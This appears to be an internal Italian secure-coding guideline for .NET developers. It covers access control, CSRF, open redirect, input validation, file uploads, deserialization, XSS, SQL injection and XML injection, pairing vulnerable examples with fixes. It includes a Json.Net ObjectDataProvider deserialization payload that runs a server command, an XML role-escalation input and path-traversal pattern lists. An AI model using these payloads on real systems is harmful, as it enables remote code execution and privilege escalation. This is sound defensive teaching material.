BLU-MAN-006-R01
Allegato 05-R00
Aggiornamento del 08/09/2026

.NET

Italgas S.p.A - Informazioni Interne

INDICE

1 REFERENZE 3
2 INTRODUZIONE AL DOCUMENTO 4
2.1 Contesto 4
2.2 Scopo 4
2.3 Struttura del Documento 4
3 ACCESS CONTROL & PRIVILEGE MANAGEMENT 6
3.1 Role-Based Access Control 6
3.2 Secure Resource Access 7
3.3 Cross-Site Request Forgery (CSRF/XSRF) 7
3.4 Open Redirect 9
4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT 10
4.1 File Input Validation 12
4.2 Attacchi di Deserializzazione 16
5 INJECTION 18
5.1 Cross-Site Scripting (XSS) 18
5.2 SQL Injection 19
5.3 XML Injection 20
5.4 Mass Assignment 21
6 MISCONFIGURATIONS 23
6.1 Stampa della stack trace 24
6.2 Configurazione errata dei cookie 24
7 LOGGING & MONITORING 25
7.1 Informazioni sensibili nei log 26
7.2 Mancata validazione o sanitizzazione dei log 27
8 INFORMAZIONI CONFIDENZIALI 28
8.1 Credenziali Hardcoded 28
8.2 Oggetti per la gestione delle credenziali 29
9 CRITTOGRAFIA 31
9.1 Classi Crittografiche in .NET 31
9.2 JSON Web Token 32
9.2.1 Firma del JWT 32
9.2.2 Verifica del JWT 32
10 RACE CONDITIONS 33
10.1 Race Conditions nel metodo Dispose 34
10.2 Race condition con oggetti in cache 34
10.3 Race Conditions in costruttori e finalizzatori 35
11 DENIAL OF SERVICE (DoS) 36
11.1 Pattern Disposable in .NET 36
11.2 Saturazione delle risorse 37
11.2.1 Socket di rete 38
11.2.2 Stream 39
11.2.3 Database 39
11.2.4 Regex 40
12 Link utili 41

I REFERENZE

Referenza	URL
dotnet navigate security | Microsoft Learn	dotnet-navigate-security.pdf

Italgas S.p.A - Informazioni Interne

2 INTRODUZIONE AL DOCUMENTO

2.1 Contesto

Questo documento è uno degli allegati al Manuale Operativo Sviluppo Sicuro e si colloca all'interno di un articolato sistema di linee guida volte a garantire la sicurezza nello sviluppo dei prodotti commissionati da Italgas. L'obiettivo è assicurare che tali prodotti siano solidi e resistenti alle minacce informatiche
È stato redatto un documento generale che affronta l'argomento in maniera trasversale senza entrare nei dettagli specifici di ciascuna tecnologia. Il presente documento, invece, approfondisce le stesse tematiche trattate nel documento generale, focalizzandosi e contestualizzandole sulla tecnologia .NET.

2.2 Scopo

Questo documento ha lo scopo di illustrare gli aspetti di sicurezza informatica da tenere in considerazione quando si sviluppa del codice applicativo. La sicurezza del software è un requisito fondamentale per garantire la protezione delle informazioni, la privacy degli utenti e il corretto funzionamento dell'applicazione finale.
In questo documento, le tematiche affrontate si concentrano sulle possibili problematiche di sicurezza che affliggono le odierne applicazioni. Nello specifico, si fa riferimento alla tecnologia .NET. Per ogni aspetto di sicurezza viene fornita una descrizione, degli esempi, le corrispettive contromisure e gli accorgimenti da adottare al fine di scongiurare la presenza di vulnerabilità o bug all'interno dell'applicazione finale. Per ogni tematica trattata, l'obiettivo è quello di fornire agli sviluppatori e agli architetti una lista di problematiche di sicurezza che possono emergere come conseguenza di una programmazione non orientata agli aspetti di sicurezza.

2.3 Struttura del Documento

Nel presente documento verranno trattate diverse tematiche riguardanti il framework .NET, partendo da un *livello di astrazione* più alto andando man mano scendendo verso aspetti più pratici e tecnici. Gli argomenti discussi riguardano prettamente il linguaggio e le sue peculiarità. Pertanto, si rimanda al documento di linee guida generali per lo sviluppo sicuro che sviscera i problemi in maniera più astratta senza scendere nel dettaglio del linguaggio.

Viene proposto un capitolo relativo all'**Access Control**, presentando diversi scenari che pongono l'attenzione sull'importanza di attuare adeguati meccanismi di *controllo degli accessi* e sulle problematiche di sicurezza che può comportare una mancata o scorretta implementazione di questi.

Il concetto di Access Control viene quindi esteso da quello di **Privilege Management**. La *gestione dei privilegi* è un aspetto fortemente correlato a quello del *controllo degli accessi*: implementare una solida gestione dei privilegi significa ridurre il rischio di abusi e attacchi informatici, garantendo che solo gli utenti autorizzati possano eseguire operazioni sensibili.

Ulteriori aspetti fondamentali da tenere in considerazione nello sviluppo di software sicuro sono quelli trattati nel capitolo **Validazione e Sanitizzazione degli input**. In questo capitolo viene spiegata la necessità di attuare sempre adeguate misure di *validazione* e *sanitizzazione* sugli input provenienti da utenti e sistemi esterni, i quali sono da considerarsi non fidati.

Vengono poi logicamente trattate anche le problematiche, tramite esempi e scenari, che derivano da una mancata o scorretta validazione e sanitizzazione dei dati nel capitolo **Injection**. Queste non assumono una singola forma, bensì possono avere modalità e conseguenze molto differenti tra loro in base agli asset afflitti, all'ambiente esposto e ai privilegi con cui sono eseguite.

Allo stesso modo, evitare **Configurazioni Insicure** è fondamentale per proteggere le infrastrutture e i dati da attacchi che possono compromettere la riservatezza, l'integrità e la disponibilità delle informazioni: nell'analogo capitolo vengono presentati diversi esempi di configurazioni insicure comuni nell'ambito dello sviluppo software e quali best practices seguire per poterle evitare.

Nel capitolo **Logging e Monitoraggio** viene spiegata l'importanza di attuare adeguati meccanismi di logging al fine di garantire un monitoraggio continuo che va attuato durante tutto il ciclo di vita di un software, permettendo di individuare tempestivamente problematiche di sicurezza, oltre che funzionali, e di risolverle tempestivamente.

Le **Informazioni Confidenziali**, il cui valore deve essere conosciuto solo e solamente dalle persone o programmi autorizzati, devono essere protette durante tutta la fase di vita del software. Questo include i dati in uso e a riposo, oltre che quando in transito. È per questo motivo che non è sufficiente scrivere il segreto direttamente nei file sorgente o utilizzare algoritmi di cifratura robustissimi solo in alcuni passaggi, in quanto è necessario che le informazioni confidenziali restino tali sempre.

La crittografia è alla base di molte delle operazioni che un software si trova ad eseguire durante il suo ciclo di vita, permettendo di implementare comunicazioni sicure e proteggere i dati da accessi non autorizzati.
La **Gestione della Crittografia** costituisce un aspetto fondamentale da tenere in considerazione quando si valuta il livello di sicurezza di un software: l'utilizzo di tecniche crittografiche deprecate e non più sicure o una gestione impropria delle chiavi crittografiche possono vanificare le più robuste misure di sicurezza di un sistema.

Viene poi speso un capitolo dedicato alle **Race conditions**, che altro non sono se non errori (bug) di programmazione in un programma che sfrutta un paradigma concorrenziale o asincrono. Si verificano infatti quando più processi o Threads accedono simultaneamente allo stesso dato o istruzione in memoria. Questo, se non correttamente gestito, genera comportamenti imprevisti ed inconsistenza.

La triade CIA copre i tre pilastri principali su cui si basa la sicurezza informatica. Di questi, l'ultimo in particolar modo riguarda la disponibilità (Availability) del sistema. In .NET, sono varie le casistiche che portano l'applicativo o l'intera infrastruttura in uno stato di **Denial of Service** e vanno tutte prese in considerazione durante lo sviluppo del codice: si tratta dell'errato utilizzo del pattern Disposable, delle risorse allocate e mai chiuse e delle espressioni regolari con complessità non lineare.

Infine, per quanto concerne l'**Utilizzo di Codice di Terze Parti,** si rimanda al documento di linee guida generali per lo sviluppo sicuro, essendo le best practice in materia valide trasversalmente a tutte le tecnologie.

3 ACCESS CONTROL & PRIVILEGE MANAGEMENT

Il controllo degli accessi è un elemento fondamentale della sicurezza informatica, che determina chi può accedere a determinati dati, applicazioni e risorse e in quali circostanze. Questo processo si basa su tecniche di autenticazione e autorizzazione, oltre che la corretta configurazione dei sistemi, per verificare l'identità degli utenti e assegnare loro i permessi appropriati.

3.1 Role-Based Access Control

.NET dispone di meccanismi di **gestione della sessione** ed **autorizzazione basati su ruoli**, sollevando gli sviluppatori dall'onere di dover implementarli.

Il meccanismo di autorizzazione .NET associa una **identity** ad un **principal**:

- **Identity**: può consistere in un account Windows o derivare da contesti slegati da Windows.
- **Principal**: oggetto costruito a partire dalle informazioni della identity associata, reso accessibile in ogni thread di una applicazione .NET. Ogni principal può appartenere ad uno o più **ruoli**.
- **Ruolo**: un ruolo è definito come insieme di principals che condividono gli stessi privilegi di sicurezza.

Le applicazioni .NET possono regolare l'accesso a determinate funzioni basandosi sulla *identity* associata al *principal* e/o ai *ruoli* di cui il *principal* è membro.

La *identity* ed il *principal* sono strutturati come due oggetti che implementano rispettivamente le interfacce **IIdentity** e **IPrincipal**.

L'oggetto *Identity* contiene le informazioni dell'utente che si sta validando, come, ad esempio il nome (es: il nome dell'account Windows) o la tipologia di autenticazione impiegata (Autenticazione Windows, NTLM, Kerberos, etc.). Tale oggetto è definito come una **GenericIdentity** a livello più generale; in particolari scenari può essere definito come un oggetto più specializzato dipendentemente dalla tipologia di autenticazione impiegata.

L'oggetto *Principal* rappresenta il contesto di sicurezza nel quale l'applicazione opera, basando il controllo degli accessi sui ruoli dei quali il *principal* è membro.

In ASP.NET Core, l'access control viene implementato per mezzo di decoratori applicabili sulle azioni di un controller o sul controller stesso.

```
public class ProductsController : Controller
{
    [AllowAnonymous]
    public ActionResult GetProducts(){…}

    [Authorize]
    Public ActionResult PurchaseProduct(){…}

    [Authorize(Roles="Admin", Policy="SomePolicy")]
    Public ActionResult EditProductPrice(){…}
}
```

Il decoratore **AllowAnonymous** permette ad un qualsiasi utente non autenticato di accedere alla funzione "*GetProducts*" che ritorna la lista di prodotti in vendita su un sito web realizzato in ASP.NET

Il decoratore **Authorize** consente l'accesso alla funzione di acquisto prodotti ("*PurchaseProduct*") solo agli utenti autenticati.

Lo stesso decoratore permette di restringere l'accesso a determinate funzioni, come quella di modifica del prezzo di un prodotto ("*EditProductPrice*"), a **specifici ruoli** attraverso il parametro "*Roles*" e/o applicando determinate **policy** specificate attraverso il parametro "*Policy*".

3.2 Secure Resource Access

L'accesso alle risorse deve essere orientato alla sicurezza già in fase di progettazione e successivamente in fase di implementazione, soprattutto quando si prevede di utilizzare codice proveniente da origini sconosciute.

Per poter implementare un codice che fornisca un adeguato livello di sicurezza nell'accesso alle risorse gestite in una applicazione, è importante seguire le seguente best practices:

- Non utilizzare il meccanismo di autorizzazione **"Code Access Security" (CAS):** tale meccanismo consente l'esecuzione di codice dipendentemente dalla sua origine o da altri aspetti dell'identity associata al codice piuttosto che sui ruoli di un principal.
  La *CAS* è deprecata e non più supportata nelle versioni più recenti.
- Non utilizzare codice con un livello di trust parziale (**partial-trust**). .NET offre dei livelli di trust predefiniti all'interno del *CAS*. Un codice *partial-trust* ha un set di permessi di *CAS* ridotto rispetto ad un codice **full-trust.**
- Non utilizzare l'attributo **AllowPartiallyTrustedCaller**.
- Non utilizzare il framework **.NET Remoting** o il protocollo **Distributed Component Object Model (DCOM)** in quanto potrebbero portare all'esecuzione di codice proveniente da origini sconosciute al quale potrebbe essere concesso un inadeguato livello di accesso alle risorse.
- Non utilizzare i **binary formatters**; questi offrono un meccanismo di serializzazione deprecato.

3.3 Cross-Site Request Forgery (CSRF/XSRF)

Il Cross-site request forgery (CSRF o XSRF) è un tipo di attacco informatico che sfrutta la fiducia che un'applicazione web ha nei confronti del browser dell'utente. In un attacco CSRF, un malintenzionato induce l'utente finale a eseguire azioni indesiderate su un'applicazione web in cui è autenticato, spesso senza che l'utente ne sia consapevole.

Questo può avvenire attraverso l'ingegneria sociale, come l'invio di un link tramite email o chat. Se la vittima è un utente normale, un attacco CSRF riuscito può costringerlo a eseguire richieste che cambiano lo stato, come trasferire fondi o modificare il proprio indirizzo email. Se la vittima ha un account amministrativo, il CSRF può compromettere l'intera applicazione web.

Per prevenire tali attacchi, è fondamentale implementare misure di sicurezza adeguate, come l'utilizzo di token anti-CSRF e la verifica dell'intestazione 'Origin' o 'Referer' nelle richieste HTTP.

ASP.NET (MVC) utilizza token anti-forgery per prevenire e mitigare attacchi di Cross-Site Request Forgery. Questi possono essere generati automaticamente in una pagina Razor come segue:

```
@using (Html.BeginForm("Manage", "Account")) {
    @Html.AntiForgeryToken()
}
```

.NET permette di integrare token anti-forgery anche per richieste AJAX, le quali possono inviare dati in formati strutturati come JSON o XML. Per questo tipo di richieste, è possibile utilizzare un header dedicato che andrà poi validato.

In una pagina Razor, è possibile generare il token anti-forgery, il quale sarà associato ad un cookie, per una chiamata Ajax come segue:

```
<script>
    @functions{
        public string GenerateCSRFToken()
        {
            string cookieToken, formToken;
            AntiForgery.GetTokens(null, out cookieToken, out formToken);
            return cookieToken + ":" + formToken;
        }
    }

    $.ajax("api/someaction", {
        type: "post",
        contentType: "application/json",
        data: {..},
        dataType: "json",
        headers: {
            'X-CSRF': '@GenerateCSRFToken()'
        }
    });
</script>
```

I due cookieToken e formToken generati andranno poi validati lato server come segue:

```
string[] tokens = tokenHeaders.First().Split(':')
cookieToken = tokens[0].Trim();
formToken = tokens[1].Trim();
AntiForgery.Validate(cookieToken, formToken);
```

Sulle azioni di controller ASP.NET MVC che eseguono operazioni di scrittura, modifca e cancellazione dei dati, è bene limitare i verbi HTTP ad uno tra POST, PUT, PATCH e DELETE, secondo la seguente logica:

- POST: utilizzato per la creazione di nuove entità
- PUT: utilizzato per la sovrascrittura di una intera entità
- PATCH: utilizzato per l'aggiornamento parziale di una entità
- DELETE: utilizzato per la cancellazione di una entità

Quando su una azione non viene indicato uno specifico metodo HTTP accettato, potrebbe essere suscettibile ad attacchi di CSRF.

Segue un esempio di codice insicuro:

```
public ActionResult CreateSomeEntity(Model model) {
// ... controller logic
}
```

La soluzione consigliata è la seguente, in cui viene specificato POST come solo metodo HTTP accettato:

```
[POST]
public ActionResult CreateSomeEntity(Model model) {
// ... controller logic
}
```

Sebbene questa soluzione non prevenga del tutto attacchi di CSRF, aggiunge un livello di complessità in più per un attaccante.

3.4 Open Redirect

Un open redirect è una vulnerabilità di sicurezza web che si verifica quando un'applicazione web accetta un URL non convalidato come input e reindirizza l'utente a tale URL. Questo può essere sfruttato da attaccanti per indirizzare gli utenti verso siti web malevoli, facendo sembrare che il reindirizzamento provenga da una fonte affidabile. Gli open redirect possono essere utilizzati in attacchi di phishing e per rubare informazioni sensibili. È importante che gli sviluppatori convalidino e limitino i reindirizzamenti per prevenire tali vulnerabilità.

.NET offre diverse funzioni d'aiuto per prevenire attacchi di Open Redirect.

Segue un esempio di codice ASP.NET vulnerabile ad Open Redirect:

```
public IActionResult SomeAction()
{
    return Redirect(Request.QueryString['url']);
}
```

Il metodo *LocalRedirect* previene il reindirizzamento verso URL non locali sollevando una eccezione, a differenza del metodo *Redirect*.

```
public IActionResult SomeAction()
{
    return LocalRedirect(Request.QueryString['url']); // Throws exception if non-local URL
}
```

Inoltre. .NET mette a disposizione il metodo Url.*IsLocalUrl* che permette di verificare che un URL sia locale. Questo può essere utilizzato prima di passare l'input al metodo *Redirect*.

```
public IActionResult SomeAction()
{
    If(Url.IsLocalUrl(Request.QueryString['url'])){
      return Redirect(Request.QueryString['url']);
   }
    return RedirectToAction("ShowError", "Error"); // Redirect to ErrorController's ShowError action
}
```

4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT

La validazione e la sanitizzazione degli input sono processi fondamentali nella sicurezza informatica e nello sviluppo software. La validazione consiste nel verificare che i dati inseriti dagli utenti rispettino determinati criteri predefiniti, come formato, lunghezza e tipo di dato. Questo aiuta a prevenire errori e comportamenti imprevisti nel sistema. La sanitizzazione, invece, si occupa di pulire e modificare gli input per rimuovere o neutralizzare contenuti potenzialmente dannosi, come script malevoli o caratteri speciali, proteggendo così il sistema da attacchi come l'injection di codice. Entrambi i processi sono essenziali per garantire l'integrità e la sicurezza delle applicazioni.

Microsoft consiglia le seguenti best practices (fare riferimento a Security and User Input - Microsoft Learn):

- Rimuovere ".." e "\"
- Non utilizzare wildcards (*)
- Non permettere la token expansion (*%token%*)
- Rimuovere formati di percorsi non classici e filesystem stream name alternativi (*filename::$DATA*)
- Invalidare nomi dei file abbreviati come *somefilewith~1* (abbreviazione di *somefilewithlongname*)
- Eseguire l'escape di dati con rappresentazione esadecimale
- Eseguire l'escape di dati con rappresentazione Unicode
- Eseguire l'escape di dati con rappresentazione UTF-8 overlong

Segue un esempio di una funzione di sanitizzazione che mette in atto alcune delle precedenti best-practices:

```
public static string SanitizeInput(string input)
{
    // Remove double dots
    input = Regex.Replace(input, @"\.{2,}", "", RegexOptions.Compiled);

    // Remove backslashes
    input = input.Replace("\\", "");

    // Remove wildcard characters
    input = input.Replace("*", "");

    // Remove token expansion
    input = Regex.Replace(input, @"%[a-zA-Z0-9]+%", "", RegexOptions.Compiled);

    // Handle strange forms of paths
    input = Regex.Replace(input, @"[\\/]+[.]+[\\/]+", "", RegexOptions.Compiled);

    // Remove alternate file system stream names
    input = Regex.Replace(input, @"[a-zA-Z0-9]+[:][$][a-zA-Z0-9]+", "", RegexOptions.Compiled);

    // Hexadecimal escapes
    input = Regex.Replace(input, @"%[0-9a-fA-F]{2}", "", RegexOptions.Compiled);

    // Unicode escapes
    input = Regex.Replace(input, @"%u[0-9a-fA-F]{4}", "", RegexOptions.Compiled);

    // Overlong UTF-8 escapes
    input = Regex.Replace(input, @"(%[0-9a-fA-F]{2}){2,}", "", RegexOptions.Compiled);

    return input;
}
```

Segue un esempio di una funzione di validazione che mette in atto alcune delle precedenti best-practices:

```
public bool ValidateUserInput(string userInput)
{
    // Check for disallowed patterns
    var disallowedPatterns = new string[]
    {
        @"\.\.\\", // Relative paths
        @"[*]", // Wild card characters
        @"%[a-zA-Z]+%", // Token expansion
        @"::\$DATA", // Alternate file system stream names
        @"~[1]", // Short versions of file names
        @"%[0-9a-fA-F]{2}", // Hexadecimal escapes
        @"%[0-9a-fA-F]{3}", // Unicode escapes
        @"(%[0-9a-fA-F]{2}){2,}", // Overlong UTF-8 escapes
    };

    foreach (var pattern in disallowedPatterns)
    {
        if (Regex.IsMatch(userInput, pattern))
        {
            return false; // Input is invalid
        }
    }

    // Check for extremely long paths
    if (userInput.Length > 260) // Windows MAX_PATH
    {
        return false; // Input is invalid
    }

    return true; // Input is valid
}
```

Le precedenti funzioni di validazione e sanitizzazione non coprono tutti i possibili scenari e casistiche d'attacco e sono riportati solo a titolo di esempio.

4.1 File Input Validation

La validazione dei file in input è un aspetto cruciale nello sviluppo di applicazioni web sicure. Questo processo serve a garantire che i dati ricevuti dall'applicazione siano corretti e non contengano codice malevolo che potrebbe compromettere la sicurezza del sistema. Attraverso la validazione, è possibile verificare l'integrità dei file, il loro formato e la conformità ai criteri stabiliti, prevenendo così attacchi come l'iniezione di codice o l'upload di malware. Implementare una robusta validazione dei file in input non solo protegge l'applicazione e i suoi utenti, ma contribuisce anche a mantenere l'integrità dei dati e la fiducia degli utenti nell'affidabilità del sistema.

Di seguito viene riportata una lista di best practices che permettono di mitigare il rischio associato all'upload non controllato di file:

- I file caricati mediante upload devono essere memorizzati in una area dedicata, preferibilmente uno storage. Questo permette di agevolare l'attuazione di restrizioni di sicurezza.
- I file caricati mediante upload non devono disporre di permessi di esecuzione.
- I file caricati mediante upload non devono essere memorizzati nella stessa directory dell'applicazione o in una sua sottodirectory.
- Non utilizzare come nome del file quello indicato in input dall'utente. Piuttosto, utilizzare un nome sicuro generato dall'applicazione.
- Circoscrivere le estensioni di file ammesse.
- I controlli client-side come, ad esempio, quelli su estensione e grandezza del file, devono essere effettuati anche server-side.
- Impostare un limite alla grandezza massima possibile per un file.
- Eseguire scansioni antivirus/malware sul contenuto dei file caricati prima che questi vengano memorizzati sullo storage.

Segue un **esempio** di una funzione .NET che si occupa di effettuare dei controlli di integrità sul file in upload, verificando estensione, dimensione massima e salvando il file con un nome sicuro:

```
using System;
using System.IO;
using System.Web;

public class FileUploadHandler
{
    public void ValidateAndSaveFile(HttpPostedFile file)
    {
        // Definisci la dimensione massima del file in byte (1MB)
        int maxFileSize = 1024 * 1024;

        // Verifica che la dimensione del file non superi 1MB
        if (file.ContentLength > maxFileSize)
        {
            Console.WriteLine("Il file supera la dimensione massima consentita di 1MB.");
            return;
        }

        // Ottieni l'estensione del file
        string fileExtension = Path.GetExtension(file.FileName).ToLower();

        // Verifica che il file sia in formato PNG o JPEG
        if (fileExtension == ".png" || fileExtension == ".jpeg" || fileExtension == ".jpg")
        {
            // Genera un nuovo nome file univoco
            string newFileName = Guid.NewGuid().ToString() + fileExtension;

            // Salva il file nel percorso desiderato
            string path = Path.Combine(HttpContext.Current.Server.MapPath("~/Uploads"), newFileName);
            file.SaveAs(path);

            Console.WriteLine("File validato e salvato con successo: " + newFileName);
        }
        else
        {
            Console.WriteLine("Formato del file non valido.");
        }
    }
}
```

Ogni tipologia di file ha una *signature* utilizzata da programmi e sistema operativo per identificarla. Questa firma consiste in specifiche sequenze di byte all'inizio ed eventualmente alla fine del file, chiamati ***Magic Bytes***. Ad esempio, i magic bytes per un file immagine JPEG, posizionati all'inizio sono "FF D8 FF".

Segue un **esempio** di codice che verifica la tipologia di file mediante magic bytes:

```
using System;
using System.IO;

public class MagicByteValidator
{
    private static readonly byte[] JpegHeader = { 0xFF, 0xD8, 0xFF };
    private static readonly byte[] PngHeader = { 0x89, 0x50, 0x4E, 0x47 };

    public static bool IsValidImage(string filePath)
    {
        using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
        {
            using (var binaryReader = new BinaryReader(fileStream))
            {
                var headerBytes = binaryReader.ReadBytes(4);
                return IsJpeg(headerBytes) || IsPng(headerBytes);
            }
        }
    }

    private static bool IsJpeg(byte[] headerBytes)
    {
        return headerBytes.Length >= JpegHeader.Length &&
headerBytes.Take(JpegHeader.Length).SequenceEqual(JpegHeader);
    }

    private static bool IsPng(byte[] headerBytes)
    {
        return headerBytes.Length >= PngHeader.Length &&
headerBytes.Take(PngHeader.Length).SequenceEqual(PngHeader);
    }
}
```

Nonostante la verifica dei magic bytes aggiunga un ulteriore livello di sicurezza, un attaccante potrebbe sfruttare gli stessi per poter falsificare file malevoli, bypassando eventualmente i controlli posti in atto da una applicazione.

Per prevenire questa tipologia di attacchi, è importante implementare una serie di controlli di sicurezza, assicurandosi di validare l'integrità del file non solo tramite i magic bytes, ma anche controllando la dimensione e la struttura del file. È possibile utilizzare librerie specifiche che analizzano il contenuto del file per confermare che corrisponda al formato atteso.

Inoltre, è consigliabile implementare un sistema di logging dettagliato per monitorare tutte le operazioni di caricamento dei file, così da poter rilevare e investigare qualsiasi attività sospetta.

4.2 Attacchi di Deserializzazione

Gli attacchi di deserializzazione sfruttano le vulnerabilità presenti nel processo di deserializzazione, ovvero la conversione di dati strutturati (come stringhe JSON o XML) in oggetti utilizzabili all'interno di un'applicazione. Durante questo processo, se i dati non sono adeguatamente validati, un attaccante può inserire dati malevoli che, una volta deserializzati, possono portare all'esecuzione di codice arbitrario, al controllo dell'applicazione o alla compromissione dei dati. Questo tipo di attacco è particolarmente pericoloso perché può essere difficile da rilevare e può avere un impatto significativo sull'integrità e sulla sicurezza dei sistemi informatici.
.NET mette a disposizione la classe *ObjectDataProvider*, appartenente al namespace *System.Windows.Data* quando nel progetto è incluso la DLL *PresentationFramework.dll*, parte del framework *Windows Presentation Form (WPF)*; questa classe **incapsula e crea un oggetto arbitrario**, permettendo di definire una funzione attraverso la proprietà *MethodName* ed i parametri da passare a questa funzione nella proprietà *MethodParameters*. **Questa funzione verrà invocata con i parametri specificati quando l'ogetto viene deserializzato**.

Quando inclusa, questa classe è il **gadget** più comunemente utilizzato per attacchi di deserializzazione insicura.

La libreria **Json.Net** è comunemente utilizzata per deserializzare e serializzare oggetti a partire da o in JSON; un attaccante potrebbe sfruttare tale libreria per deserializzare un gadget *ObjectDataProvider*, riuscendo potenzialmente ad ottenere una esecuzione di comandi remota sul server.

Questo può avvenire quando non viene messa in atto nessuna validazione e sanitizzazione di input provenienti da un utente; è possibile costruire un JSON ad-hoc per poter sfruttare il gadget *ObjectDataProvider* attraverso una deserializzazione non sicura tramite la libreria Json.Net.

```
object obj = JsonConvert.DeserializeObject<object>(unvalidatedJSONFromUserInput, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.Auto
        });
```

Nell'esempio precedente, la variabile *unvalidatedJSONFromUserInput* è una stringa contenente un JSON derivante da un input di un utente non sottoposto ad alcuna validazione o sanitizzazione.

Un utente malevolo potrebbe fornire in input un payload come il seguente, riuscendo ad eseguire comandi sul server:

```
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089'}
}
```

Quando Json.Net deserializza il precedente JSON, il metodo *Start* della classe *System.Diagnostics.Process* viene eseguito utilizzando come parametro l'ArrayList ["cmd", "/c calc.exe"], aprendo l'applicazione calcolatrice sul server Windows.

Italgas S.p.A - Informazioni Interne

5 INJECTION

L'injection è una delle vulnerabilità più comuni e pericolose in ambito di sicurezza informatica. Si verifica quando un attaccante riesce ad iniettare payload maligni in un sistema attraverso input non adeguatamente filtrati, come moduli web o query di database. Questo può portare a gravi conseguenze, come l'accesso non autorizzato a dati sensibili, la compromissione del sistema o l'esecuzione di codice arbitrario. Prevenire le injection richiede una corretta validazione e sanificazione degli input, oltre all'uso di pratiche di codifica sicura.

5.1 Cross-Site Scripting (XSS)

Il Cross-Site Scripting (XSS) è una vulnerabilità di sicurezza che permette agli attaccanti di iniettare script malevoli nelle pagine web visualizzate da altri utenti. Questi script possono eseguire azioni non autorizzate nel contesto del browser della vittima, come rubare dati sensibili, dirottare sessioni o modificare il contenuto della pagina. Esistono tre principali tipi di XSS: reflected, stored e basato su DOM.

Quando non sono presenti meccanismi di sanitizzazione per input provenienti dagli utenti i quali valori vengono riflessi in una pagina HTML così come sono, è possibile per un attaccante eseguire codice Javascript nel browser di una vittima:

```
<asp:Panel Id=”SomeId” runat=”server”>
<%= someUserInput %>
</asp:Panel>
```

In questi casi è importante applicare i meccanismi di sanitizzazione e validazione precedentemente illustrati.

Razor, la tecnologia di templating utilizzata per ASP.NET MVC fornisce in automatico un meccanismo di encoding che previene attacchi di injection come quelli di XSS, utilizzando la direttiva @.
Caratteri come < > o " vengono trasformati in entity HTML.

```
@{
    var untrustedInput = "<script>alert(\"Hello Word!\")</script>";
}

@untrustedInput
```

Quando la pagina web viene caricata, l’HTML conterrà il seguente output:

```
&lt;script&gt;alert(&quot;Hello Word!&quot;)&lt;/script
```

Si noti che ASP.NET MVC fornisce la classe *HtmlString* la quale non viene sottoposta all’encoding automatico presentato precedentemente.
Utilizzare input non sanitizzato o validato in combinazione con *HtmlString* è estremamente sconsigliato.

5.2 SQL Injection

L'SQL Injection è una vulnerabilità di sicurezza delle applicazioni web che permette a un attaccante di interferire con le query che un'applicazione fa al suo database. Questo tipo di attacco consente di visualizzare dati che normalmente non sarebbero accessibili, come informazioni di altri utenti, e in alcuni casi, di modificare o eliminare questi dati. L'SQL Injection può anche essere utilizzata per compromettere il server sottostante o altre infrastrutture di back-end. Prevenire questo tipo di attacco è cruciale per la sicurezza delle applicazioni web e richiede l'implementazione di controlli rigorosi sui dati inseriti dagli utenti.

.NET (C#) dispone del meccanismo dei prepared statement come contromisura efficace al problema delle SQL injection.

Segue un esempio di codice vulnerabile:

```
using (SqlConnection connection = new SqlConnection(connectionString))
    {
        connection.Open();
        SqlCommand sqlCommand = new SqlCommand(null, connection);
        string query = "SELECT * FROM users WHERE name = '" + username + "';";
        sqlCommand.CommandText = query;
        var result = sqlCommand.ExecuteReader();
        ….
    }
```

Nel codice precedente, l'utilizzo della concatenazione di stringhe per costruire la query, utilizzando un input (*username*) proveniente da un utente senza alcuna sanitizzazione o validazione, è vulnerabile ad un attacco di SQL Injection.

Segue un esempio di codice sicuro che utilizza i prepared statement per costruire la query:

```
using (SqlConnection connection = new SqlConnection(connectionString))
    {
        connection.Open();
        SqlCommand sqlCommand = new SqlCommand(null, connection);
        string query = "SELECT * FROM users WHERE name = @username ;";
        sqlCommand.CommandText = query;

        SqlParameter usernameParameter = new SqlParameter("@username", SqlDbType.VarChar,
username.Length);
       usernameParameter.Value = username;
        sqlCommand.Parameters.Add(usernameParameter);

        var result = sqlCommand.ExecuteReader();
        ….
    }
```

Inoltre, .NET, attraverso LINQ, permette la costruzione dinamica di query SQL sicure di default:

```
List<User> result = Users.Where(user => user.username == username).ToList();
```

5.3 XML Injection

Una XML Injection avviene quando un input proveniente da un utente viene utilizzato nella costruzione di una stringa XML senza alcuna validazione o sanitizzazione. In questo scenario, un utente malintenzionato potrebbe iniettare tag XML arbitrari, aggiungere attributi a tag esistenti e/o cambiare valori all'interno dei tag.
Questo può portare all'esfiltrazione di dati ed informazioni sensibili, alla generazione di richieste server-side basate su protocolli XML (es: SOAP) e, nei casi peggiori, all'esecuzione di codice remoto.

Segue un esempio di codice insicuro:

```
// unvalidatedUserInput si presuppone contenga solo la username dell'utente
XmlWriter writer = XmlWriter.Create("data.xml");
    await writer.WriteRawAsync(
        $@"<user>
            <username>{unvalidatedUserInput}</username> <!-- Noncompliant -->
            <role>user</role>
        </user>"
    );
    await writer.DisposeAsync();
```

Un attaccante potrebbe avvalorare la variabile *unvalidatedUserInput* con il seguente valore: "**attacker</username><role>admin</role></user><user><username>foo**". In questo modo, l'attaccante potrebbe riuscire ad elevare i propri privilegi.

.NET mette a disposizione la classe *System.Security* che possiede il metodo *Escape* che effettua la sostituzione di caratteri XML invalidi con le rispettive XML entities:

```
using System.Security;

XmlWriter writer = XmlWriter.Create("data.xml");
    await writer.WriteRawAsync(
        $@"<user>
            <username>{SecurityElement.Escape(unvalidatedUserInput)}</username>
            <role>user</role>
        </user>"
    );
    await writer.DisposeAsync();
```

Quando si utilizza il parser XML su input proveniente da un utente senza alcuna validazione o sanitizzazione, se il parser non è ben configurato, un attaccante potrebbe eseguire un attacco di XML External Entities (XXE). Questo attacco sfrutta il parsing di entità XML esterne per esfiltrare file di sistema o eseguire codice remoto.

